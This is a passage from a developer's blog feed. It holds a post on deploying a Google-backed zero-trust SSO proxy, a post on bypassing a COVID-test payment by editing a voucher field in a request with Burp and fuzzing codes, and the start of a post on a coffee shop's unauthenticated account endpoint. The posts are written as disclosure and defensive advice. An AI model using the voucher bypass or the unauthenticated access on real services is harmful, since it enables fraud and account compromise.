  The Proxy
&lt;/h4&gt;

&lt;p&gt;This is the entity that serves as the front gate for incoming requests. If the incoming request is identified as valid, the request goes through and is routed based on &lt;code&gt;upstream_configs.yml&lt;/code&gt;. Otherwise, requests are redirected to the authenticator.&lt;/p&gt;

&lt;p&gt;I've chosen to build the container image with the environment wrapping Buzzfeed's image. This is for convenience only and can be shifted to any other method. Building the image with &lt;code&gt;docker build --build-arg client_id=xxx client_secret=xxx ...&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="s"&gt; buzzfeed/sso&lt;/span&gt;

&lt;span class="k"&gt;ARG&lt;/span&gt;&lt;span class="s"&gt; client_id \&lt;/span&gt;
    client_secret \
    session_cookie_secret

&lt;span class="k"&gt;ENV&lt;/span&gt;&lt;span class="s"&gt; UPSTREAM_CONFIGFILE="/sso/upstream_configs.yml" \&lt;/span&gt;
    UPSTREAM_CLUSTER="" \
    PROVIDER_URL_EXTERNAL="https://sso-auth.domain.co" \
    CLIENT_ID=$client_id \
    CLIENT_SECRET=$client_secret \
    SESSION_COOKIE_SECRET=$session_cookie_secret \
    SESSION_TTL_LIFETIME="1h" \
    UPSTREAM_SCHEME=http

&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="s"&gt; ./upstream_config.yml /sso/upstream_configs.yml&lt;/span&gt;

&lt;span class="k"&gt;ENTRYPOINT&lt;/span&gt;&lt;span class="s"&gt; ["/bin/sso-proxy"]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;h4&gt;
  
  
  The Authenticator
&lt;/h4&gt;

&lt;p&gt;Receiving unauthenticated requests from the proxy, the authenticator is in charge of contacting the OAuth2 provider for authorization. According to configuration, if the requesting user has the relevant permissions i.e. authorized domain, correct sub-group, and so on, a cookie is set and redirected to the proxy, which in turn lets it through.&lt;/p&gt;

&lt;p&gt;Built-in the same manner as its twin, the authenticator is based on the same image, only uses a different &lt;code&gt;ENTRYPOINT&lt;/code&gt; and a different set of configuration variables:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="s"&gt; buzzfeed/sso&lt;/span&gt;

&lt;span class="k"&gt;ARG&lt;/span&gt;&lt;span class="s"&gt; client_id \&lt;/span&gt;
    client_secret \
    session_cookie_secret \
    session_key

&lt;span class="k"&gt;ENV&lt;/span&gt;&lt;span class="s"&gt; AUTHORIZE_EMAIL_DOMAINS=domain.co \&lt;/span&gt;
    AUTHORIZE_PROXY_DOMAINS=domain.co \
    SERVER_HOST=sso-auth.domain.co \
    CLIENT_PROXY_ID=$client_id \
    CLIENT_PROXY_SECRET=$client_secret \
    SESSION_COOKIE_SECURE=true \
    SESSION_COOKIE_SECRET=$session_cookie_secret \
    SESSION_COOKIE_EXPIRE=1h \
    SESSION_KEY=$session_key \
    PROVIDER_X_CLIENT_ID=$client_id \
    PROVIDER_X_CLIENT_SECRET=$client_secret \
    PROVIDER_X_TYPE=google \
    PROVIDER_X_SLUG=google \
    PROVIDER_X_GOOGLE_IMPERSONATE=admin@domain.co \
    PROVIDER_X_GOOGLE_CREDENTIALS=/sso/credentials.json \
    PROVIDER_X_GROUPCACHE_INTERVAL_REFRESH=1m \
    PROVIDER_X_GROUPCACHE_INTERVAL_PROVIDER=1m \
    LOGGING_LEVEL=debug

&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="s"&gt; ./credentials.json /sso/credentials.json&lt;/span&gt;

&lt;span class="k"&gt;EXPOSE&lt;/span&gt;&lt;span class="s"&gt; 4180&lt;/span&gt;

&lt;span class="k"&gt;ENTRYPOINT&lt;/span&gt;&lt;span class="s"&gt; ["/bin/sso-auth"]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;h4&gt;
  
  
  OAuth2 Provider of choice - Google
&lt;/h4&gt;

&lt;p&gt;Not much to elaborate on Google. It's workspace directory offers a wide range of user management feature and is considered a standard choice. Specifically Buzzfeed's SSO offers either Google or Okta as providers. If these are not the way your organization is managing user this post might be irrelevant for the most part. You can however, make use of the underlying system - &lt;a href="https://github.com/oauth2-proxy/oauth2-proxy" rel="noopener noreferrer"&gt;OAuth2-proxy&lt;/a&gt;, which will provide a similar experience, except the solution of a single locally managed authentication mechanism. Instead of having two components, the proxy is one system that operates against the backend provider.&lt;/p&gt;

&lt;p&gt;Instructions (although far from perfect) can be found &lt;a href="https://github.com/buzzfeed/sso/blob/main/docs/google_provider_setup.md" rel="noopener noreferrer"&gt;here&lt;/a&gt;.&lt;br&gt;
Important notes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Please do go through all steps, even if some seem unnecessary; like not following step three and forward if group segregation is not a requirement. &lt;a href="https://github.com/buzzfeed/sso/blob/main/docs/google_provider_setup.md#3-set-up-a-service-account-for-google-groups-based-authorization" rel="noopener noreferrer"&gt;&lt;strong&gt;Do go all the way through it, and make sure you get the .json file at the end.&lt;/strong&gt;&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Read carefully, make sure &lt;a href="https://github.com/buzzfeed/sso/blob/main/docs/google_provider_setup.md#authorizing-use-of-the-admin-sdk-api" rel="noopener noreferrer"&gt;admin SDK&lt;/a&gt; is enabled as shown&lt;/li&gt;
&lt;li&gt;Make sure that from Google's worskspace security side, the API controls&lt;/li&gt;
&lt;li&gt;Make sure the &lt;code&gt;PROVIDER_X_GOOGLE_IMPERSONATE=admin@domain.co&lt;/code&gt; is set with an admin user&lt;/li&gt;
&lt;/ul&gt;


&lt;h4&gt;
  
  
  Upstreams
&lt;/h4&gt;

&lt;p&gt;Upstreams are a configuration file where proxy routes are set. They take a public request form the web, and, if authenticated is routed to an internal (or not) service given some conditions are met.&lt;/p&gt;

&lt;p&gt;The configuration below describes two services and their internal routes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;service&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;vault&lt;/span&gt;
  &lt;span class="na"&gt;default&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;from&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;vault.sso.domain.co&lt;/span&gt;
    &lt;span class="na"&gt;to&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;vault.local:8200&lt;/span&gt;
    &lt;span class="na"&gt;options&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;allowed_groups&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
        &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;production@domain.co&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;service&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;snappass&lt;/span&gt;
  &lt;span class="na"&gt;default&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;from&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;secrets.sso.domain.co&lt;/span&gt;
    &lt;span class="na"&gt;to&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;secrets.local:5000&lt;/span&gt;
    &lt;span class="na"&gt;options&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;allowed_email_domains&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
        &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;domain.co&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Notes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Each entry &lt;strong&gt;must&lt;/strong&gt; have a &lt;code&gt;default&lt;/code&gt; setting, other custom settings can follow&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;from&lt;/code&gt; &amp;amp; &lt;code&gt;to&lt;/code&gt; are the base, while &lt;code&gt;options&lt;/code&gt; are optional &lt;strong&gt;only if&lt;/strong&gt; one of the &lt;a href="https://github.com/buzzfeed/sso/blob/main/docs/sso_proxy_config.md#upstream" rel="noopener noreferrer"&gt;top three&lt;/a&gt; &lt;code&gt;UPSTREAM_DEFAULT_&lt;/code&gt; are set. &lt;em&gt;I've learned this one the hard way...&lt;/em&gt;
&lt;/li&gt;
&lt;li&gt;Note how &lt;code&gt;allowed_groups&lt;/code&gt; or &lt;code&gt;allowed_email_domains&lt;/code&gt; are set and sufficient on their own. The first is permitting access for a specific directory group, while the latter offers a domain wide access with&lt;/li&gt;
&lt;li&gt;The entire set of &lt;code&gt;options&lt;/code&gt; can be found &lt;a href="https://github.com/buzzfeed/sso/blob/main/docs/sso_config.md" rel="noopener noreferrer"&gt;here&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;



&lt;h4&gt;
  
  
  Deployment
&lt;/h4&gt;

&lt;p&gt;The two services above should be deployed together in an internal network just as any other service would. The best practise here dictates a load balancer on top, to route traffic into the proxy / authenticator. The only thing to consider here is the &lt;em&gt;reachability&lt;/em&gt; of upstream services; a system that's considered "internal" and will be accessed through the proxy has to be accessible from the proxy itself. On the network level, this means that they either have to sit in the same virtual private network, or have a &lt;a href="https://docs.aws.amazon.com/vpc/latest/peering/what-is-vpc-peering.html" rel="noopener noreferrer"&gt;peering&lt;/a&gt; between the networks. From the proxy's perspective, the IP &lt;strong&gt;and&lt;/strong&gt; the port should be in-reach and open. "Open" also means that they would be part of the same security group, or open a rule in the respective groups to be able to provide back and forth communication.&lt;/p&gt;



&lt;h4&gt;
  
  
  ECS and Service Discovery
&lt;/h4&gt;

&lt;p&gt;Once the proxy is set, the user gains access, they should be able to communicate with endpoints only accessible internally within the private network, the &lt;a href="https://aws.amazon.com/vpc/" rel="noopener noreferrer"&gt;VPC&lt;/a&gt;. While we can redirect the request to an IP, those tend to change and the connection is then lost. An improvement can be an elastic IP that's guaranteed to stay fixed with the resource it was attached to. This brings a few new issues though; a. the resource itself can (and should) be rotated within time - we are dealing with containers after all. b. Elastic IPs will &lt;a href="https://aws.amazon.com/premiumsupport/knowledge-center/elastic-ip-charges/" rel="noopener noreferrer"&gt;start being charged&lt;/a&gt; once their underlying resource no longer exists. Another improvement might be a human-readable DNS A record that's pointed at the same IP. Still, being readable and all, the inherent problem with a static IP remains.&lt;/p&gt;

&lt;p&gt;The solution - &lt;a href="https://docs.aws.amazon.com/AmazonECS/latest/developerguide/service-discovery.html" rel="noopener noreferrer"&gt;AWS Service Discovery&lt;/a&gt;. Put simply, the service discovery service attaches itself to an ECS target group, updating the live running tasks underneath with an internal endpoint managed by Route53. Meaning, the user can hit the same endpoint and trust it to resolve to a dynamic IP that's connected to an existing task.&lt;/p&gt;

&lt;p&gt;Here's a quick example using Terraform code (out of convenience only - this can be set manually or using any other language):&lt;/p&gt;

&lt;p&gt;A global resource of private dns namespace has to be crated first, before it can  host internl records:&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc6fc9cykyfo1wqur8z8v.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc6fc9cykyfo1wqur8z8v.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After the namespace is ready, we can start creating private records, note the reference to the namespace inside &lt;code&gt;dns_config&lt;/code&gt;:&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F63xvn7wxamvmfyno5bm1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F63xvn7wxamvmfyno5bm1.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And lastly, connecting the &lt;code&gt;aws_ecs_service&lt;/code&gt; resource to the &lt;a href="https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/ecs_service#service_registries" rel="noopener noreferrer"&gt;service registry&lt;/a&gt;:&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb1s8r5dnafjdnj2y91s9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb1s8r5dnafjdnj2y91s9.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  Alternatives
&lt;/h3&gt;

&lt;p&gt;The solution above is no the only one for zero trust solution. There are plenty out there, including &lt;a href="https://www.cloudflare.com/teams/" rel="noopener noreferrer"&gt;commecrial ones&lt;/a&gt; as well as many OSS alternatives. Buzzfeed's solution was the choice here for its elegance by remaining a one-stop authentication system that builds on top of Google's OAuth2 solution. Any kind of solution will usually do pretty much the same work, and as long as the concept of security is kept, the rest is implementation details.&lt;/p&gt;



&lt;h3&gt;
  
  
  Extending the power of Zero Trust
&lt;/h3&gt;

&lt;p&gt;Having the system deployed is a great solution for all things web. But sometimes real-life pop the security bubble; in some cases engineers will need to gain access to private resources by SSH, or other protocols (working aginst a Redis or a PostgreSQL instance). While Working directly against a resource in its protocol is not achievable, we can extend the reach by deploying web interfaces for &lt;a href="https://github.com/huashengdun/webssh" rel="noopener noreferrer"&gt;SSH&lt;/a&gt;, &lt;a href="https://www.pgadmin.org/" rel="noopener noreferrer"&gt;PGAdmin&lt;/a&gt;-like applications.&lt;/p&gt;

&lt;p&gt;I would address the engineering culture of accessing private resources in the first place, and how to create a workflow that removes the necessity of such operations, but that's material for another post. In the meantime, let's leave the notion of avoiding it when you can. And if you're serious, you may consider rotating those accessed instances altogether, marking them as &lt;em&gt;contaminated&lt;/em&gt; once they've been SSH'ed into and automating their removal. Food for thought...&lt;/p&gt;




&lt;p&gt;I hope this post helped with grasping the concept of zero trust and a real world implementation. This is something I struggled with when I tried incorporating it in our workflow, so I'm happy to share the experience and the "how to".&lt;/p&gt;

&lt;p&gt;If you find any mistakes in the information above, have any questions or comments please &lt;a href="https://twitter.com/0merxx" rel="noopener noreferrer"&gt;reach out&lt;/a&gt;!&lt;/p&gt;

&lt;p&gt;Thank you for reading 🖤 &lt;/p&gt;

</description>
      <category>devops</category>
      <category>security</category>
      <category>aws</category>
      <category>docker</category>
    </item>
    <item>
      <title>How to NOT secure web payment systems</title>
      <dc:creator>Omer Hamerman</dc:creator>
      <pubDate>Mon, 21 Jun 2021 13:42:17 +0000</pubDate>
      <link>https://dev.to/omerxx/how-to-not-secure-web-payment-systems-3888</link>
      <guid>https://dev.to/omerxx/how-to-not-secure-web-payment-systems-3888</guid>
      <description>&lt;p&gt;Since the tale laid here is real, I'll refrain from using specific names or locations. It might put me in some awkward situations. If you've been through something similar, it may sound familiar.&lt;br&gt;
That said, the identifying details have little to do with the story itself. It is not a new or sophisticated hack. This is developers' laziness at its best. Assuming users are all non-technical sheep. For the most part, they're right, but, one greedy naughty user can change the picture.&lt;/p&gt;

&lt;p&gt;Disclaimer:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;I did not actually use what I got, and reported the bug&lt;/li&gt;
&lt;li&gt;I do not suggest people try to score free services through exploitations of lousy systems. This is meant to help secure those that are exposed&lt;/li&gt;
&lt;li&gt;My hope is that developers become more vigilant with systems, especially ones that involve personal and medical information of literally everyone that crosses their country's border&lt;/li&gt;
&lt;li&gt;I do think however, that testing, at home for these kinds of bugs are &lt;a href="https://www.ted.com/talks/keren_elazari_hackers_the_internet_s_immune_system"&gt;contributing to the greater good of the internet.&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;


&lt;h1&gt;
  
  
  Once upon a time
&lt;/h1&gt;

&lt;p&gt;I've been traveling a lot. More so during covid than "normal" times, to get the vaccine, medical checkups, and other personal obligations. Traveling became this huge payment burden annoyance where you have to pay for tests before boarding and right after landing. Oh, and all over again when traveling back.&lt;br&gt;
While I don't have any criticism on the necessity of the test (nor have I got the professional background to comment on it), the pile of tests I had to undertake and pay for started to feel like a tax. A negative financial incentive to not travel if you will.&lt;/p&gt;

&lt;p&gt;Throughout the last year, I've been traveling to my home country and had to take a &lt;strong&gt;free&lt;/strong&gt; PCR test right at the airport. Scheduling the appointments in an online dedicated system using the same discount code every time: &lt;code&gt;Free1&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;A couple of days ago, while planning for another trip home, I was going over the same long routine. Filling a passenger locator form (both for out, and inbound travel - 🤷) and pre-ordering my Airport Covid PCR test.&lt;/p&gt;

&lt;p&gt;To my surprise, the test name has changed from "Covid PCR - mandatory" to something like "Covid PCR - $80 mandatory".&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Wait what?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Yep, it seems that from now on, an $80 fine (excuse me, charge) per person is a must if you want to leave the airport. The other option, is paying with cash $100 upon arrival (some deal ay?).&lt;/p&gt;

&lt;p&gt;I retried the same code that used to work over the last year. &lt;code&gt;Free1&lt;/code&gt; and "Apply". The screen reported a red error message. "Invalid Voucher Code" it said.&lt;/p&gt;

&lt;p&gt;I did what any cybercriminal would do at that point - retried the same thing 3-5 times (genius). When that didn't work, I tried &lt;code&gt;Free2&lt;/code&gt;, &lt;code&gt;Free80&lt;/code&gt;, and a few others.&lt;/p&gt;

&lt;p&gt;When I checked the outgoing request, I found that it was being sent to a &lt;code&gt;/api/validate-voucher&lt;/code&gt; endpoint. It returned a strange HTTP error; &lt;code&gt;422 (Unprocessable entity)&lt;/code&gt; and a &lt;code&gt;{statusCode: 422, message: "Invalid Voucher or Appointment ID"}&lt;/code&gt;, hmmm.. What "appointment"? I was trying to apply a discount code. Upon bad response, the UI deletes the code entered, effectively "preventing" the use of the code. The fact that it actually got deleted, could have been a good user experience, but a lousy prevention mechanism at the same time. "&lt;em&gt;Why not test it myself?&lt;/em&gt;" I thought. 😈&lt;/p&gt;

&lt;p&gt;&lt;a href="https://portswigger.net/burp"&gt;BurpSuit&lt;/a&gt; for the rescue!&lt;br&gt;
I fire up Firefox and &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/"&gt;proxy&lt;/a&gt; everything through Burp.&lt;/p&gt;

&lt;p&gt;Going through the outgoing requests I see metrics and more metrics, 3rd party trackers, and whatnot. Sometimes I wish I hadn't seen the pile of crap websites make us send. Forwarding everything that's not interesting until WHOOPS, what's that?&lt;/p&gt;

&lt;p&gt;A &lt;code&gt;POST&lt;/code&gt; request holding the JSON data:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="err"&gt;appointmentId:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"12345"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="err"&gt;voucher:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There we go, how about sliding the previously valid voucher through?&lt;br&gt;
But wait, this sounds familiar.. earlier, when I just tried entering my old discount code, I got an "Invalid appointmentId...", could the same system actually be used for both purposes - validating the codes &lt;strong&gt;and&lt;/strong&gt; creating appointments?&lt;br&gt;
It feels off, a hunch tells me I'm going to see something funny.&lt;br&gt;
I edit the object on the fly and forward it with burp.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="err"&gt;appointmentId:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"12345"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="err"&gt;voucher:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Free1"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And what do you know, a huge shiny green label appeared on the screen: "PAID". Five seconds later the screen reloaded and a new QR with an appointment was generated.&lt;/p&gt;



&lt;h2&gt;
  
  
  Moral of the story
&lt;/h2&gt;

&lt;p&gt;Users are not dumb. Some of them may not have the skills or energy to dig in. But if a system that holds personal medical records and results is this easily exploited, what happens in other areas?&lt;/p&gt;

&lt;p&gt;Businesses are founded and run to make money. As such, they would always serve as a target for exploits. Let alone for a service that up until recently was free, and is now forced upon all returning passengers, preventing them from going home.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;br&gt;
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;One must check each and every incoming request as if it's coming from the wild (it actually is!). Employ &lt;a href="https://en.wikipedia.org/wiki/Zero_trust_security_model"&gt;zero trust&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;






&lt;h2&gt;
  
  
  Ways to handle and general approaches
&lt;/h2&gt;

&lt;p&gt;First and foremost, &lt;strong&gt;assume you're going to get exploited&lt;/strong&gt;. Much like checking if the front door is locked, applications should make sure users can only do what they're intended to.&lt;/p&gt;

&lt;p&gt;Checking whether a discount code is valid in the UI? Excellent, what about the backend? The browser lives in userland, where the developers don't have control over how the application is manipulated or *mis*used. One must check each and every incoming request as if it's coming from the wild (it actually is...). Employ &lt;a href="https://en.wikipedia.org/wiki/Zero_trust_security_model"&gt;zero trust&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;On the same note - rate-limit incoming requests; when I couldn't apply my old &lt;code&gt;Free1&lt;/code&gt; discount code, I tried &lt;code&gt;Free2&lt;/code&gt;, then &lt;code&gt;Free3&lt;/code&gt; and so on with different permutations. It seemed odd that I can just keep pushing codes through and learn whether they're valid or not, so I did what anyone would; I wrote a script. Tried a few dozens of them just for fun. Although nothing came up, I had fun fuzzing again with &lt;a href="https://github.com/ffuf/ffuf"&gt;ffuf&lt;/a&gt;, and I just learned that the system doesn't rate-limit requests. With enough time at their disposal, different users can run a similar script for hours and days. This is bad for two main reasons - &lt;strong&gt;a)&lt;/strong&gt; Servers are bombarded with requests. In case it was built correctly, it scales up to serve brute force attacks (funny on its own). In the worse case, it crashes. &lt;strong&gt;b)&lt;/strong&gt; At some point, a valid discount code will pop up.&lt;/p&gt;

&lt;p&gt;Another "discount code friendly" exploit (which I hadn't tried after getting a full price reduction), is a &lt;a href="https://www.veracode.com/security/race-condition"&gt;race condition&lt;/a&gt; where a user can re-apply the same discount code, usually giving a percentage of discount multiple times. &lt;a href="https://hackerone.com/reports/59179"&gt;Here's a famous one found on Dropbox a few years back&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;To sum things up, systems' security should be high on the priority list. If not for revenue, at least for customer's privacy. Web applications can be "hacked" in more than one way, and it &lt;a href="https://omerxx.com/hacking-my-coffee-shop/"&gt;might be simple&lt;/a&gt;. My go-to approach when testing my own apps is thinking like a malicious actor. Not necessarily a top-notch security expert which I'm far from, but a user with minimal skills and a couple of simple wishes. Like getting a free service, or a discount I do not deserve.&lt;/p&gt;

&lt;p&gt;Thank you for reading 🖤 &lt;br&gt;&lt;br&gt;
Feel free to reach out with questions or comments.&lt;/p&gt;

</description>
      <category>security</category>
      <category>devops</category>
      <category>webdev</category>
      <category>programming</category>
    </item>
    <item>
      <title>Hacking your application may be easier than you think</title>
      <dc:creator>Omer Hamerman</dc:creator>
      <pubDate>Tue, 16 Feb 2021 15:31:55 +0000</pubDate>
      <link>https://dev.to/omerxx/hacking-your-application-may-be-easier-than-you-think-4g4c</link>
      <guid>https://dev.to/omerxx/hacking-your-application-may-be-easier-than-you-think-4g4c</guid>
      <description>&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;:&lt;br&gt;
I noticed a suspicious behavior on the weekly email from my coffee shop's subscription; it was offering I edit my preferences directly through a dedicated link. I was able to bypass the cookie and authentication token (no tricks) and was able to reach an account details panel changing password / account email etc. Essentially the shop was exposed to severe authentication and authorization issues, leading to &lt;a href="https://portswigger.net/web-security/access-control/idor"&gt;IDOR&lt;/a&gt; of &lt;a href="https://en.wikipedia.org/wiki/Personal_data"&gt;PII&lt;/a&gt; (exposure of private identifiable information). On top of that, not CORS nor &lt;a href="https://omerxx.com/csrf-attacks/"&gt;CSRF&lt;/a&gt; mitigations were in place, allowing me to create a malicious link leading to a one-click account takeover.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Disclaimer&lt;/strong&gt;: I am not suggesting anyone do any testing without clear consent. I noticed a vulnerability as a &lt;em&gt;happy&lt;/em&gt; customer of one of my favorite shops and was intrigued by how easily my account could be manipulated. From there it was curiosity that took me further to find the bugs. I tried to keep as few "offensive" actions as possible and reported everything in detail to the shop to help them mitigate the risks, offering my help.&lt;/p&gt;
&lt;h2&gt;
  
  
  How it all started
&lt;/h2&gt;

&lt;p&gt;I have a subscription to one of the best coffee shops in London. I'm being sent a bag of freshly roasted beans once a week, along with an email suggesting I change the preferences of beans or delivery schedule.&lt;br&gt;
I have used the link many times; when I wanted to skip a delivery, or push it forward it was a quick and easy access to my account. No login barriers or interference - slick and easy customer experience.&lt;br&gt;
For some reason, last week after updating my preference to an earlier shipment as I was out of coffee, I noticed something weird: &lt;strong&gt;accidentally removing one character of the link's token did not matter. I was still able to view the contents of my preference, make changes and update my account.&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Original request leading to the panel&lt;/span&gt;
https://coffee.shop/api/recurring/customers/&amp;lt;user-hash&amp;gt;/?token&lt;span class="o"&gt;=&lt;/span&gt;1111111

&lt;span class="c"&gt;# Using a different token (any token or none at all for that matter)&lt;/span&gt;
https://coffee.shop/api/recurring/customers/&amp;lt;user-hash&amp;gt;/?token&lt;span class="o"&gt;=&lt;/span&gt;qqqqqqq
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;A bit of background: the shop is a web application, based on a very well known e-commerce platform that uses Ruby (trying to avoid full disclosure assuming those misconfigurations / bugs are in the wild in many other shops). The website itself is not the slickest I've seen, but it gets the job done. Basic user management and a convenient way of changing my preferences of delivery in a very easy and customizable way.&lt;/p&gt;

&lt;p&gt;Back to the story: as I was removing the token, not only I could reach my account's delivery preferences, I could reach it from an anonymous browser too. Essentially meaning the cookie verification is not in place either. So I stripped the &lt;code&gt;GET&lt;/code&gt; request from its token and cookie and was able to grab the information from anywhere I want. This would be vulnerability number one: &lt;strong&gt;lack of authentication for this specific endpoint&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;It's important to say, the bug is not visible to &lt;em&gt;any&lt;/em&gt; customer. Changes to non-recurring accounts (without automated weekly recurring orders), and to unsubscribed users go through the authentication process. It was this endpoint in the link, which was set up to support subscribed paying customers with recurring orders, giving them quick access to changes. The endpoint looked something like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://coffee.shop/api/recurring/customers/&amp;lt;unique-hash&amp;gt;/?token=&amp;lt;token&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;At this point I tried shifting my thinking from a worried customer to an attacker - &lt;em&gt;what would I do if I had malicious intentions here?&lt;/em&gt;&lt;/p&gt;

